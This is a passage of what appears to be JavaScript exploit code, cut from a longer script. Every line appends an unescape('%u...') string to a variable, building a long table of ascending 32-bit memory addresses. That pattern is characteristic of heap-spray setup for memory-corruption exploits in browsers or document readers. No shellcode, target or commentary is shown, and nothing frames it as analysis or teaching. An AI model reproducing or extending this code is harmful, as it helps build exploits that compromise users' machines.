str += unescape("%u0000%u2880%u0000%u2884%u0000%u2888%u0000%u288c%u0000%u2890%u0000%u2894%u0000%u2898%u0000%u289c%u0000%u28a0%u0000%u28a4%u0000%u28a8%u0000%u28ac%u0000%u28b0%u0000%u28b4%u0000%u28b8%u0000%u28bc");
str += unescape("%u0000%u28c0%u0000%u28c4%u0000%u28c8%u0000%u28cc%u0000%u28d0%u0000%u28d4%u0000%u28d8%u0000%u28dc%u0000%u28e0%u0000%u28e4%u0000%u28e8%u0000%u28ec%u0000%u28f0%u0000%u28f4%u0000%u28f8%u0000%u28fc");
str += unescape("%u0000%u2900%u0000%u2904%u0000%u2908%u0000%u290c%u0000%u2910%u0000%u2914%u0000%u2918%u0000%u291c%u0000%u2920%u0000%u2924%u0000%u2928%u0000%u292c%u0000%u2930%u0000%u2934%u0000%u2938%u0000%u293c");
str += unescape("%u0000%u2940%u0000%u2944%u0000%u2948%u0000%u294c%u0000%u2950%u0000%u2954%u0000%u2958%u0000%u295c%u0000%u2960%u0000%u2964%u0000%u2968%u0000%u296c%u0000%u2970%u0000%u2974%u0000%u2978%u0000%u297c");
str += unescape("%u0000%u2980%u0000%u2984%u0000%u2988%u0000%u298c%u0000%u2990%u0000%u2994%u0000%u2998%u0000%u299c%u0000%u29a0%u0000%u29a4%u0000%u29a8%u0000%u29ac%u0000%u29b0%u0000%u29b4%u0000%u29b8%u0000%u29bc");
str += unescape("%u0000%u29c0%u0000%u29c4%u0000%u29c8%u0000%u29cc%u0000%u29d0%u0000%u29d4%u0000%u29d8%u0000%u29dc%u0000%u29e0%u0000%u29e4%u0000%u29e8%u0000%u29ec%u0000%u29f0%u0000%u29f4%u0000%u29f8%u0000%u29fc");
str += unescape("%u0000%u2a00%u0000%u2a04%u0000%u2a08%u0000%u2a0c%u0000%u2a10%u0000%u2a14%u0000%u2a18%u0000%u2a1c%u0000%u2a20%u0000%u2a24%u0000%u2a28%u0000%u2a2c%u0000%u2a30%u0000%u2a34%u0000%u2a38%u0000%u2a3c");
str += unescape("%u0000%u2a40%u0000%u2a44%u0000%u2a48%u0000%u2a4c%u0000%u2a50%u0000%u2a54%u0000%u2a58%u0000%u2a5c%u0000%u2a60%u0000%u2a64%u0000%u2a68%u0000%u2a6c%u0000%u2a70%u0000%u2a74%u0000%u2a78%u0000%u2a7c");
str += unescape("%u0000%u2a80%u0000%u2a84%u0000%u2a88%u0000%u2a8c%u0000%u2a90%u0000%u2a94%u0000%u2a98%u0000%u2a9c%u0000%u2aa0%u0000%u2aa4%u0000%u2aa8%u0000%u2aac%u0000%u2ab0%u0000%u2ab4%u0000%u2ab8%u0000%u2abc");
str += unescape("%u0000%u2ac0%u0000%u2ac4%u0000%u2ac8%u0000%u2acc%u0000%u2ad0%u0000%u2ad4%u0000%u2ad8%u0000%u2adc%u0000%u2ae0%u0000%u2ae4%u0000%u2ae8%u0000%u2aec%u0000%u2af0%u0000%u2af4%u0000%u2af8%u0000%u2afc");
str += unescape("%u0000%u2b00%u0000%u2b04%u0000%u2b08%u0000%u2b0c%u0000%u2b10%u0000%u2b14%u0000%u2b18%u0000%u2b1c%u0000%u2b20%u0000%u2b24%u0000%u2b28%u0000%u2b2c%u0000%u2b30%u0000%u2b34%u0000%u2b38%u0000%u2b3c");
str += unescape("%u0000%u2b40%u0000%u2b44%u0000%u2b48%u0000%u2b4c%u0000%u2b50%u0000%u2b54%u0000%u2b58%u0000%u2b5c%u0000%u2b60%u0000%u2b64%u0000%u2b68%u0000%u2b6c%u0000%u2b70%u0000%u2b74%u0000%u2b78%u0000%u2b7c");
str += unescape("%u0000%u2b80%u0000%u2b84%u0000%u2b88%u0000%u2b8c%u0000%u2b90%u0000%u2b94%u0000%u2b98%u0000%u2b9c%u0000%u2ba0%u0000%u2ba4%u0000%u2ba8%u0000%u2bac%u0000%u2bb0%u0000%u2bb4%u0000%u2bb8%u0000%u2bbc");
str += unescape("%u0000%u2bc0%u0000%u2bc4%u0000%u2bc8%u0000%u2bcc%u0000%u2bd0%u0000%u2bd4%u0000%u2bd8%u0000%u2bdc%u0000%u2be0%u0000%u2be4%u0000%u2be8%u0000%u2bec%u0000%u2bf0%u0000%u2bf4%u0000%u2bf8%u0000%u2bfc");
str += unescape("%u0000%u2c00%u0000%u2c04%u0000%u2c08%u0000%u2c0c%u0000%u2c10%u0000%u2c14%u0000%u2c18%u0000%u2c1c%u0000%u2c20%u0000%u2c24%u0000%u2c28%u0000%u2c2c%u0000%u2c30%u0000%u2c34%u0000%u2c38%u0000%u2c3c");
str += unescape("%u0000%u2c40%u0000%u2c44%u0000%u2c48%u0000%u2c4c%u0000%u2c50%u0000%u2c54%u0000%u2c58%u0000%u2c5c%u0000%u2c60%u0000%u2c64%u0000%u2c68%u0000%u2c6c%u0000%u2c70%u0000%u2c74%u0000%u2c78%u0000%u2c7c");
str += unescape("%u0000%u2c80%u0000%u2c84%u0000%u2c88%u0000%u2c8c%u0000%u2c90%u0000%u2c94%u0000%u2c98%u0000%u2c9c%u0000%u2ca0%u0000%u2ca4%u0000%u2ca8%u0000%u2cac%u0000%u2cb0%u0000%u2cb4%u0000%u2cb8%u0000%u2cbc");
str += unescape("%u0000%u2cc0%u0000%u2cc4%u0000%u2cc8%u0000%u2ccc%u0000%u2cd0%u0000%u2cd4%u0000%u2cd8%u0000%u2cdc%u0000%u2ce0%u0000%u2ce4%u0000%u2ce8%u0000%u2cec%u0000%u2cf0%u0000%u2cf4%u0000%u2cf8%u0000%u2cfc");
str += unescape("%u0000%u2d00%u0000%u2d04%u0000%u2d08%u0000%u2d0c%u0000%u2d10%u0000%u2d14%u0000%u2d18%u0000%u2d1c%u0000%u2d20%u0000%u2d24%u0000%u2d28%u0000%u2d2c%u0000%u2d30%u0000%u2d34%u0000%u2d38%u0000%u2d3c");
str += unescape("%u0000%u2d40%u0000%u2d44%u0000%u2d48%u0000%u2d4c%u0000%u2d50%u0000%u2d54%u0000%u2d58%u0000%u2d5c%u0000%u2d60%u0000%u2d64%u0000%u2d68%u0000%u2d6c%u0000%u2d70%u0000%u2d74%u0000%u2d78%u0000%u2d7c");
str += unescape("%u0000%u2d80%u0000%u2d84%u0000%u2d88%u0000%u2d8c%u0000%u2d90%u0000%u2d94%u0000%u2d98%u0000%u2d9c%u0000%u2da0%u0000%u2da4%u0000%u2da8%u0000%u2dac%u0000%u2db0%u0000%u2db4%u0000%u2db8%u0000%u2dbc");
str += unescape("%u0000%u2dc0%u0000%u2dc4%u0000%u2dc8%u0000%u2dcc%u0000%u2dd0%u0000%u2dd4%u0000%u2dd8%u0000%u2ddc%u0000%u2de0%u0000%u2de4%u0000%u2de8%u0000%u2dec%u0000%u2df0%u0000%u2df4%u0000%u2df8%u0000%u2dfc");
str += unescape("%u0000%u2e00%u0000%u2e04%u0000%u2e08%u0000%u2e0c%u0000%u2e10%u0000%u2e14%u0000%u2e18%u0000%u2e1c%u0000%u2e20%u0000%u2e24%u0000%u2e28%u0000%u2e2c%u0000%u2e30%u0000%u2e34%u0000%u2e38%u0000%u2e3c");
str += unescape("%u0000%u2e40%u0000%u2e44%u0000%u2e48%u0000%u2e4c%u0000%u2e50%u0000%u2e54%u0000%u2e58%u0000%u2e5c%u0000%u2e60%u0000%u2e64%u0000%u2e68%u0000%u2e6c%u0000%u2e70%u0000%u2e74%u0000%u2e78%u0000%u2e7c");
str += unescape("%u0000%u2e80%u0000%u2e84%u0000%u2e88%u0000%u2e8c%u0000%u2e90%u0000%u2e94%u0000%u2e98%u0000%u2e9c%u0000%u2ea0%u0000%u2ea4%u0000%u2ea8%u0000%u2eac%u0000%u2eb0%u0000%u2eb4%u0000%u2eb8%u0000%u2ebc");
str += unescape("%u0000%u2ec0%u0000%u2ec4%u0000%u2ec8%u0000%u2ecc%u0000%u2ed0%u0000%u2ed4%u0000%u2ed8%u0000%u2edc%u0000%u2ee0%u0000%u2ee4%u0000%u2ee8%u0000%u2eec%u0000%u2ef0%u0000%u2ef4%u0000%u2ef8%u0000%u2efc");
str += unescape("%u0000%u2f00%u0000%u2f04%u0000%u2f08%u0000%u2f0c%u0000%u2f10%u0000%u2f14%u0000%u2f18%u0000%u2f1c%u0000%u2f20%u0000%u2f24%u0000%u2f28%u0000%u2f2c%u0000%u2f30%u0000%u2f34%u0000%u2f38%u0000%u2f3c");
str += unescape("%u0000%u2f40%u0000%u2f44%u0000%u2f48%u0000%u2f4c%u0000%u2f50%u0000%u2f54%u0000%u2f58%u0000%u2f5c%u0000%u2f60%u0000%u2f64%u0000%u2f68%u0000%u2f6c%u0000%u2f70%u0000%u2f74%u0000%u2f78%u0000%u2f7c");
str += unescape("%u0000%u2f80%u0000%u2f84%u0000%u2f88%u0000%u2f8c%u0000%u2f90%u0000%u2f94%u0000%u2f98%u0000%u2f9c%u0000%u2fa0%u0000%u2fa4%u0000%u2fa8%u0000%u2fac%u0000%u2fb0%u0000%u2fb4%u0000%u2fb8%u0000%u2fbc");
str += unescape("%u0000%u2fc0%u0000%u2fc4%u0000%u2fc8%u0000%u2fcc%u0000%u2fd0%u0000%u2fd4%u0000%u2fd8%u0000%u2fdc%u0000%u2fe0%u0000%u2fe4%u0000%u2fe8%u0000%u2fec%u0000%u2ff0%u0000%u2ff4%u0000%u2ff8%u0000%u2ffc");
str += unescape("%u0000%u3000%u0000%u3004%u0000%u3008%u0000%u300c%u0000%u3010%u0000%u3014%u0000%u3018%u0000%u301c%u0000%u3020%u0000%u3024%u0000%u3028%u0000%u302c%u0000%u3030%u0000%u3034%u0000%u3038%u0000%u303c");
str += unescape("%u0000%u3040%u0000%u3044%u0000%u3048%u0000%u304c%u0000%u3050%u0000%u3054%u0000%u3058%u0000%u305c%u0000%u3060%u0000%u3064%u0000%u3068%u0000%u306c%u0000%u3070%u0000%u3074%u0000%u3078%u0000%u307c");
str += unescape("%u0000%u3080%u0000%u3084%u0000%u3088%u0000%u308c%u0000%u3090%u0000%u3094%u0000%u3098%u0000%u309c%u0000%u30a0%u0000%u30a4%u0000%u30a8%u0000%u30ac%u0000%u30b0%u0000%u30b4%u0000%u30b8%u0000%u30bc");
str += unescape("%u0000%u30c0%u0000%u30c4%u0000%u30c8%u0000%u30cc%u0000%u30d0%u0000%u30d4%u0000%u30d8%u0000%u30dc%u0000%u30e0%u0000%u30e4%u0000%u30e8%u0000%u30ec%u0000%u30f0%u0000%u30f4%u0000%u30f8%u0000%u30fc");
str += unescape("%u0000%u3100%u0000%u3104%u0000%u3108%u0000%u310c%u0000%u3110%u0000%u3114%u0000%u3118%u0000%u311c%u0000%u3120%u0000%u3124%u0000%u3128%u0000%u312c%u0000%u3130%u0000%u3134%u0000%u3138%u0000%u313c");
str += unescape("%u0000%u3140%u0000%u3144%u0000%u3148%u0000%u314c%u0000%u3150%u0000%u3154%u0000%u3158%u0000%u315c%u0000%u3160%u0000%u3164%u0000%u3168%u0000%u316c%u0000%u3170%u0000%u3174%u0000%u3178%u0000%u317c");
str += unescape("%u0000%u3180%u0000%u3184%u0000%u3188%u0000%u318c%u0000%u3190%u0000%u3194%u0000%u3198%u0000%u319c%u0000%u31a0%u0000%u31a4%u0000%u31a8%u0000%u31ac%u0000%u31b0%u0000%u31b4%u0000%u31b8%u0000%u31bc");
str += unescape("%u0000%u31c0%u0000%u31c4%u0000%u31c8%u0000%u31cc%u0000%u31d0%u0000%u31d4%u0000%u31d8%u0000%u31dc%u0000%u31e0%u0000%u31e4%u0000%u31e8%u0000%u31ec%u0000%u31f0%u0000%u31f4%u0000%u31f8%u0000%u31fc");
str += unescape("%u0000%u3200%u0000%u3204%u0000%u3208%u0000%u320c%u0000%u3210%u0000%u3214%u0000%u3218%u0000%u321c%u0000%u3220%u0000%u3224%u0000%u3228%u0000%u322c%u0000%u3230%u0000%u3234%u0000%u3238%u0000%u323c");
str += unescape("%u0000%u3240%u0000%u3244%u0000%u3248%u0000%u324c%u0000%u3250%u0000%u3254%u0000%u3258%u0000%u325c%u0000%u3260%u0000%u3264%u0000%u3268%u0000%u326c%u0000%u3270%u0000%u3274%u0000%u3278%u0000%u327c");
str += unescape("%u0000%u3280%u0000%u3284%u0000%u3288%u0000%u328c%u0000%u3290%u0000%u3294%u0000%u3298%u0000%u329c%u0000%u32a0%u0000%u32a4%u0000%u32a8%u0000%u32ac%u0000%u32b0%u0000%u32b4%u0000%u32b8%u0000%u32bc");
str += unescape("%u0000%u32c0%u0000%u32c4%u0000%u32c8%u0000%u32cc%u0000%u32d0%u0000%u32d4%u0000%u32d8%u0000%u32dc%u0000%u32e0%u0000%u32e4%u0000%u32e8%u0000%u32ec%u0000%u32f0%u0000%u32f4%u0000%u32f8%u0000%u32fc");
str += unescape("%u0000%u3300%u0000%u3304%u0000%u3308%u0000%u330c%u0000%u3310%u0000%u3314%u0000%u3318%u0000%u331c%u0000%u3320%u0000%u3324%u0000%u3328%u0000%u332c%u0000%u3330%u0000%u3334%u0000%u3338%u0000%u333c");
str += unescape("%u0000%u3340%u0000%u3344%u0000%u3348%u0000%u334c%u0000%u3350%u0000%u3354%u0000%u3358%u0000%u335c%u0000%u3360%u0000%u3364%u0000%u3368%u0000%u336c%u0000%u3370%u0000%u3374%u0000%u3378%u0000%u337c");
str += unescape("%u0000%u3380%u0000%u3384%u0000%u3388%u0000%u338c%u0000%u3390%u0000%u3394%u0000%u3398%u0000%u339c%u0000%u33a0%u0000%u33a4%u0000%u33a8%u0000%u33ac%u0000%u33b0%u0000%u33b4%u0000%u33b8%u0000%u33bc");
str += unescape("%u0000%u33c0%u0000%u33c4%u0000%u33c8%u0000%u33cc%u0000%u33d0%u0000%u33d4%u0000%u33d8%u0000%u33dc%u0000%u33e0%u0000%u33e4%u0000%u33e8%u0000%u33ec%u0000%u33f0%u0000%u33f4%u0000%u33f8%u0000%u33fc");
str += unescape("%u0000%u3400%u0000%u3404%u0000%u3408%u0000%u340c%u0000%u3410%u0000%u3414%u0000%u3418%u0000%u341c%u0000%u3420%u0000%u3424%u0000%u3428%u0000%u342c%u0000%u3430%u0000%u3434%u0000%u3438%u0000%u343c");
str += unescape("%u0000%u3440%u0000%u3444%u0000%u3448%u0000%u344c%u0000%u3450%u0000%u3454%u0000%u3458%u0000%u345c%u0000%u3460%u0000%u3464%u0000%u3468%u0000%u346c%u0000%u3470%u0000%u3474%u0000%u3478%u0000%u347c");
str += unescape("%u0000%u3480%u0000%u3484%u0000%u3488%u0000%u348c%u0000%u3490%u0000%u3494%u0000%u3498%u0000%u349c%u0000%u34a0%u0000%u34a4%u0000%u34a8%u0000%u34ac%u0000%u34b0%u0000%u34b4%u0000%u34b8%u0000%u34bc");
str += unescape("%u0000%u34c0%u0000%u34c4%u0000%u34c8%u0000%u34cc%u0000%u34d0%u0000%u34d4%u0000%u34d8%u0000%u34dc%u0000%u34e0%u0000%u34e4%u0000%u34e8%u0000%u34ec%u0000%u34f0%u0000%u34f4%u0000%u34f8%u0000%u34fc");
str += unescape("%u0000%u3500%u0000%u3504%u0000%u3508%u0000%u350c%u0000%u3510%u0000%u3514%u0000%u3518%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c");
str += unescape("%u0000%u3540%u0000%u3544%u0000%u3548%u0000%u354c%u0000%u3550%u0000%u3554%u0000%u3558%u0000%u355c%u0000%u3560%u0000%u3564%u0000%u3568%u0000%u356c%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c");
str += unescape("%u0000%u3580%u0000%u3584%u0000%u3588%u0000%u358c%u0000%u3590%u0000%u3594%u0000%u3598%u0000%u359c%u0000%u35a0%u0000%u35a4%u0000%u35a8%u0000%u35ac%u0000%u35b0%u0000%u35b4%u0000%u35b8%u0000%u35bc");
str += unescape("%u0000%u35c0%u0000%u35c4%u0000%u35c8%u0000%u35cc%u0000%u35d0%u0000%u35d4%u0000%u35d8%u0000%u35dc%u0000%u35e0%u0000%u35e4%u0000%u35e8%u0000%u35ec%u0000%u35f0%u0000%u35f4%u0000%u35f8%u0000%u35fc");
str += unescape("%u0000%u3600%u0000%u3604%u0000%u3608%u0000%u360c%u0000%u3610%u0000%u3614%u0000%u3618%u0000%u361c%u0000%u3620%u0000%u3624%u0000%u3628%u0000%u362c%u0000%u3630%u0000%u3634%u0000%u3638%u0000%u363c");
str += unescape("%u0000%u3640%u0000%u3644%u0000%u3648%u0000%u364c%u0000%u3650%u0000%u3654%u0000%u3658%u0000%u365c%u0000%u3660%u0000%u3664%u0000%u3668%u0000%u366c%u0000%u3670%u0000%u3674%u0000%u3678%u0000%u367c");
str += unescape("%u0000%u3680%u0000%u3684%u0000%u3688%u0000%u368c%u0000%u3690%u0000%u3694%u0000%u3698%u0000%u369c%u0000%u36a0%u0000%u36a4%u0000%u36a8%u0000%u36ac%u0000%u36b0%u0000%u36b4%u0000%u36b8%u0000%u36bc");
str += unescape("%u0000%u36c0%u0000%u36c4%u0000%u36c8%u0000%u36cc%u0000%u36d0%u0000%u36d4%u0000%u36d8%u0000%u36dc%u0000%u36e0%u0000%u36e4%u0000%u36e8%u0000%u36ec%u0000%u36f0%u0000%u36f4%u0000%u36f8%u0000%u36fc");
str += unescape("%u0000%u3700%u0000%u3704%u0000%u3708%u0000%u370c%u0000%u3710%u0000%u3714%u0000%u3718%u0000%u371c%u0000%u3720%u0000%u3724%u0000%u3728%u0000%u372c%u0000%u3730%u0000%u3734%u0000%u3738%u0000%u373c");
str += unescape("%u0000%u3740%u0000%u3744%u0000%u3748%u0000%u374c%u0000%u3750%u0000%u3754%u0000%u3758%u0000%u375c%u0000%u3760%u0000%u3764%u0000%u3768%u0000%u376c%u0000%u3770%u0000%u3774%u0000%u3778%u0000%u377c");
str += unescape("%u0000%u3780%u0000%u3784%u0000%u3788%u0000%u378c%u0000%u3790%u0000%u3794%u0000%u3798%u0000%u379c%u0000%u37a0%u0000%u37a4%u0000%u37a8%u0000%u37ac%u0000%u37b0%u0000%u37b4%u0000%u37b8%u0000%u37bc");
str += unescape("%u0000%u37c0%u0000%u37c4%u0000%u37c8%u0000%u37cc%u0000%u37d0%u0000%u37d4%u0000%u37d8%u0000%u37dc%u0000%u37e0%u0000%u37e4%u0000%u37e8%u0000%u37ec%u0000%u37f0%u0000%u37f4%u0000%u37f8%u0000%u37fc");
str += unescape("%u0000%u3800%u0000%u3804%u0000%u3808%u0000%u380c%u0000%u3810%u0000%u3814%u0000%u3818%u0000%u381c%u0000%u3820%u0000%u3824%u0000%u3828%u0000%u382c%u0000%u3830%u0000%u3834%u0000%u3838%u0000%u383c");
str += unescape("%u0000%u3840%u0000%u3844%u0000%u3848%u0000%u384c%u0000%u3850%u0000%u3854%u0000%u3858%u0000%u385c%u0000%u3860%u0000%u3864%u0000%u3868%u0000%u386c%u0000%u3870%u0000%u3874%u0000%u3878%u0000%u387c");
str += unescape("%u0000%u3880%u0000%u3884%u0000%u3888%u0000%u388c%u0000%u3890%u0000%u3894%u0000%u3898%u0000%u389c%u0000%u38a0%u0000%u38a4%u0000%u38a8%u0000%u38ac%u0000%u38b0%u0000%u38b4%u0000%u38b8%u0000%u38bc");
str += unescape("%u0000%u38c0%u0000%u38c4%u0000%u38c8%u0000%u38cc%u0000%u38d0%u0000%u38d4%u0000%u38d8%u0000%u38dc%u0000%u38e0%u0000%u38e4%u0000%u38e8%u0000%u38ec%u0000%u38f0%u0000%u38f4%u0000%u38f8%u0000%u38fc");
str += unescape("%u0000%u3900%u0000%u3904%u0000%u3908%u0000%u390c%u0000%u3910%u0000%u3914%u0000%u3918%u0000%u391c%u0000%u3920%u0000%u3924%u0000%u3928%u0000%u392c%u0000%u3930%u0000%u3934%u0000%u3938%u0000%u393c");
str += unescape("%u0000%u3940%u0000%u3944%u0000%u3948%u0000%u394c%u0000%u3950%u0000%u3954%u0000%u3958%u0000%u395c%u0000%u3960%u0000%u3964%u0000%u3968%u0000%u396c%u0000%u3970%u0000%u3974%u0000%u3978%u0000%u397c");
str += unescape("%u0000%u3980%u0000%u3984%u0000%u3988%u0000%u398c%u0000%u3990%u0000%u3994%u0000%u3998%u0000%u399c%u0000%u39a0%u0000%u39a4%u0000%u39a8%u0000%u39ac%u0000%u39b0%u0000%u39b4%u0000%u39b8%u0000%u39bc");
str += unescape("%u0000%u39c0%u0000%u39c4%u0000%u39c8%u0000%u39cc%u0000%u39d0%u0000%u39d4%u0000%u39d8%u0000%u39dc%u0000%u39e0%u0000%u39e4%u0000%u39e8%u0000%u39ec%u0000%u39f0%u0000%u39f4%u0000%u39f8%u0000%u39fc");
str += unescape("%u0000%u3a00%u0000%u3a04%u0000%u3a08%u0000%u3a0c%u0000%u3a10%u0000%u3a14%u0000%u3a18%u0000%u3a1c%u0000%u3a20%u0000%u3a24%u0000%u3a28%u0000%u3a2c%u0000%u3a30%u0000%u3a34%u0000%u3a38%u0000%u3a3c");
str += unescape("%u0000%u3a40%u0000%u3a44%u0000%u3a48%u0000%u3a4c%u0000%u3a50%u0000%u3a54%u0000%u3a58%u0000%u3a5c%u0000%u3a60%u0000%u3a64%u0000%u3a68%u0000%u3a6c%u0000%u3a70%u0000%u3a74%u0000%u3a78%u0000%u3a7c");
str += unescape("%u0000%u3a80%u0000%u3a84%u0000%u3a88%u0000%u3a8c%u0000%u3a90%u0000%u3a94%u0000%u3a98%u0000%u3a9c%u0000%u3aa0%u0000%u3aa4%u0000%u3aa8%u0000%u3aac%u0000%u3ab0%u0000%u3ab4%u0000%u3ab8%u0000%u3abc");
str += unescape("%u0000%u3ac0%u0000%u3ac4%u0000%u3ac8%u0000%u3acc%u0000%u3ad0%u0000%u3ad4%u0000%u3ad8%u0000%u3adc%u0000%u3ae0%u0000%u3ae4%u0000%u3ae8%u0000%u3aec%u0000%u3af0%u0000%u3af4%u0000%u3af8%u0000%u3afc");
str += unescape("%u0000%u3b00%u0000%u3b04%u0000%u3b08%u0000%u3b0c%u0000%u3b10%u0000%u3b14%u0000%u3b18%u0000%u3b1c%u0000%u3b20%u0000%u3b24%u0000%u3b28%u0000%u3b2c%u0000%u3b30%u0000%u3b34%u0000%u3b38%u0000%u3b3c");
str += unescape("%u0000%u3b40%u0000%u3b44%u0000%u3b48%u0000%u3b4c%u0000%u3b50%u0000%u3b54%u0000%u3b58%u0000%u3b5c%u0000%u3b60%u0000%u3b64%u0000%u3b68%u0000%u3b6c%u0000%u3b70%u0000%u3b74%u0000%u3b78%u0000%u3b7c");
str += unescape("%u0000%u3b80%u0000%u3b84%u0000%u3b88%u0000%u3b8c%u0000%u3b90%u0000%u3b94%u0000%u3b98%u0000%u3b9c%u0000%u3ba0%u0000%u3ba4%u0000%u3ba8%u0000%u3bac%u0000%u3bb0%u0000%u3bb4%u0000%u3bb8%u0000%u3bbc");
str += unescape("%u0000%u3bc0%u0000%u3bc4%u0000%u3bc8%u0000%u3bcc%u0000%u3bd0%u0000%u3bd4%u0000%u3bd8%u0000%u3bdc%u0000%u3be0%u0000%u3be4%u0000%u3be8%u0000%u3bec%u0000%u3bf0%u0000%u3bf4%u0000%u3bf8%u0000%u3bfc");
str += unescape("%u0000%u3c00%u0000%u3c04%u0000%u3c08%u0000%u3c0c%u0000%u3c10%u0000%u3c14%u0000%u3c18%u0000%u3c1c%u0000%u3c20%u0000%u3c24%u0000%u3c28%u0000%u3c2c%u0000%u3c30%u0000%u3c34%u0000%u3c38%u0000%u3c3c");
str += unescape("%u0000%u3c40%u0000%u3c44%u0000%u3c48%u0000%u3c4c%u0000%u3c50%u0000%u3c54%u0000%u3c58%u0000%u3c5c%u0000%u3c60%u0000%u3c64%u0000%u3c68%u0000%u3c6c%u0000%u3c70%u0000%u3c74%u0000%u3c78%u0000%u3c7c");
str += unescape("%u0000%u3c80%u0000%u3c84%u0000%u3c88%u0000%u3c8c%u0000%u3c90%u0000%u3c94%u0000%u3c98%u0000%u3c9c%u0000%u3ca0%u0000%u3ca4%u0000%u3ca8%u0000%u3cac%u0000%u3cb0%u0000%u3cb4%u0000%u3cb8%u0000%u3cbc");
str += unescape("%u0000%u3cc0%u0000%u3cc4%u0000%u3cc8%u0000%u3ccc%u0000%u3cd0%u0000%u3cd4%u0000%u3cd8%u0000%u3cdc%u0000%u3ce0%u0000%u3ce4%u0000%u3ce8%u0000%u3cec%u0000%u3cf0%u0000%u3cf4%u0000%u3cf8%u0000%u3cfc");
str += unescape("%u0000%u3d00%u0000%u3d04%u0000%u3d08%u0000%u3d0c%u0000%u3d10%u0000%u3d14%u0000%u3d18%u0000%u3d1c%u0000%u3d20%u0000%u3d24%u0000%u3d28%u0000%u3d2c%u0000%u3d30%u0000%u3d34%u0000%u3d38%u0000%u3d3c");
str += unescape("%u0000%u3d40%u0000%u3d44%u0000%u3d48%u0000%u3d4c%u0000%u3d50%u0000%u3d54%u0000%u3d58%u0000%u3d5c%u0000%u3d60%u0000%u3d64%u0000%u3d68%u0000%u3d6c%u0000%u3d70%u0000%u3d74%u0000%u3d78%u0000%u3d7c");
str += unescape("%u0000%u3d80%u0000%u3d84%u0000%u3d88%u0000%u3d8c%u0000%u3d90%u0000%u3d94%u0000%u3d98%u0000%u3d9c%u0000%u3da0%u0000%u3da4%u0000%u3da8%u0000%u3dac%u0000%u3db0%u0000%u3db4%u0000%u3db8%u0000%u3dbc");
str += unescape("%u0000%u3dc0%u0000%u3dc4%u0000%u3dc8%u0000%u3dcc%u0000%u3dd0%u0000%u3dd4%u0000%u3dd8%u0000%u3ddc%u0000%u3de0%u0000%u3de4%u0000%u3de8%u0000%u3dec%u0000%u3df0%u0000%u3df4%u0000%u3df8%u0000%u3dfc");
str += unescape("%u0000%u3e00%u0000%u3e04%u0000%u3e08%u0000%u3e0c%u0000%u3e10%u0000%u3e14%u0000%u3e18%u0000%u3e1c%u0000%u3e20%u0000%u3e24%u0000%u3e28%u0000%u3e2c%u0000%u3e30%u0000%u3e34%u0000%u3e38%u0000%u3e3c");
str += unescape("%u0000%u3e40%u0000%u3e44%u0000%u3e48%u0000%u3e4c%u0000%u3e50%u0000%u3e54%u0000%u3e58%u0000%u3e5c%u0000%u3e60%u0000%u3e64%u0000%u3e68%u0000%u3e6c%u0000%u3e70%u0000%u3e74%u0000%u3e78%u0000%u3e7c");
str += unescape("%u0000%u3e80%u0000%u3e84%u0000%u3e88%u0000%u3e8c%u0000%u3e90%u0000%u3e94%u0000%u3e98%u0000%u3e9c%u0000%u3ea0%u0000%u3ea4%u0000%u3ea8%u0000%u3eac%u0000%u3eb0%u0000%u3eb4%u0000%u3eb8%u0000%u3ebc");
str += unescape("%u0000%u3ec0%u0000%u3ec4%u0000%u3ec8%u0000%u3ecc%u0000%u3ed0%u0000%u3ed4%u0000%u3ed8%u0000%u3edc%u0000%u3ee0%u0000%u3ee4%u0000%u3ee8%u0000%u3eec%u0000%u3ef0%u0000%u3ef4%u0000%u3ef8%u0000%u3efc");
str += unescape("%u0000%u3f00%u0000%u3f04%u0000%u3f08%u0000%u3f0c%u0000%u3f10%u0000%u3f14%u0000%u3f18%u0000%u3f1c%u0000%u3f20%u0000%u3f24%u0000%u3f28%u0000%u3f2c%u0000%u3f30%u0000%u3f34%u0000%u3f38%u0000%u3f3c");
str += unescape("%u0000%u3f40%u0000%u3f44%u0000%u3f48%u0000%u3f4c%u0000%u3f50%u0000%u3f54%u0000%u3f58%u0000%u3f5c%u0000%u3f60%u0000%u3f64%u0000%u3f68%u0000%u3f6c%u0000%u3f70%u0000%u3f74%u0000%u3f78%u0000%u3f7c");
str += unescape("%u0000%u3f80%u0000%u3f84%u0000%u3f88%u0000%u3f8c%u0000%u3f90%u0000%u3f94%u0000%u3f98%u0000%u3f9c%u0000%u3fa0%u0000%u3fa4%u0000%u3fa8%u0000%u3fac%u0000%u3fb0%u0000%u3fb4%u0000%u3fb8%u0000%u3fbc");
str += unescape("%u0000%u3fc0%u0000%u3fc4%u0000%u3fc8%u0000%u3fcc%u0000%u3fd0%u0000%u3fd4%u0000%u3fd8%u0000%u3fdc%u0000%u3fe0%u0000%u3fe4%u0000%u3fe8%u0000%u3fec%u0000%u3ff0%u0000%u3ff4%u0000%u3ff8%u0000%u3ffc");
str += unescape("%u0000%u4000%u0000%u4004%u0000%u4008%u0000%u400c%u0000%u4010%u0000%u4014%u0000%u4018%u0000%u401c%u0000%u4020%u0000%u4024%u0000%u4028%u0000%u402c%u0000%u4030%u0000%u4034%u0000%u4038%u0000%u403c");
str += unescape("%u0000%u4040%u0000%u4044%u0000%u4048%u0000%u404c%u0000%u4050%u0000%u4054%u0000%u4058%u0000%u405c%u0000%u4060%u0000%u4064%u0000%u4068%u0000%u406c%u0000%u4070%u0000%u4074%u0000%u4078%u0000%u407c");
str += unescape("%u0000%u4080%u0000%u4084%u0000%u4088%u0000%u408c%u0000%u4090%u0000%u4094%u0000%u4098%u0000%u409c%u0000%u40a0%u0000%u40a4%u0000%u40a8%u0000%u40ac%u0000%u40b0%u0000%u40b4%u0000%u40b8%u0000%u40bc");
str += unescape("%u0000%u40c0%u0000%u40c4%u0000%u40c8%u0000%u40cc%u0000%u40d0%u0000%u40d4%u0000%u40d8%u0000%u40dc%u0000%u40e0%u0000%u40e4%u0000%u40e8%u0000%u40ec%u0000%u40f0%u0000%u40f4%u0000%u40f8%u0000%u40fc");
str += unescape("%u0000%u4100%u0000%u4104%u0000%u4108%u0000%u410c%u0000%u4110%u0000%u4114%u0000%u4118%u0000%u411c%u0000%u4120%u0000%u4124%u0000%u4128%u0000%u412c%u0000%u4130%u0000%u4134%u0000%u4138%u0000%u413c");
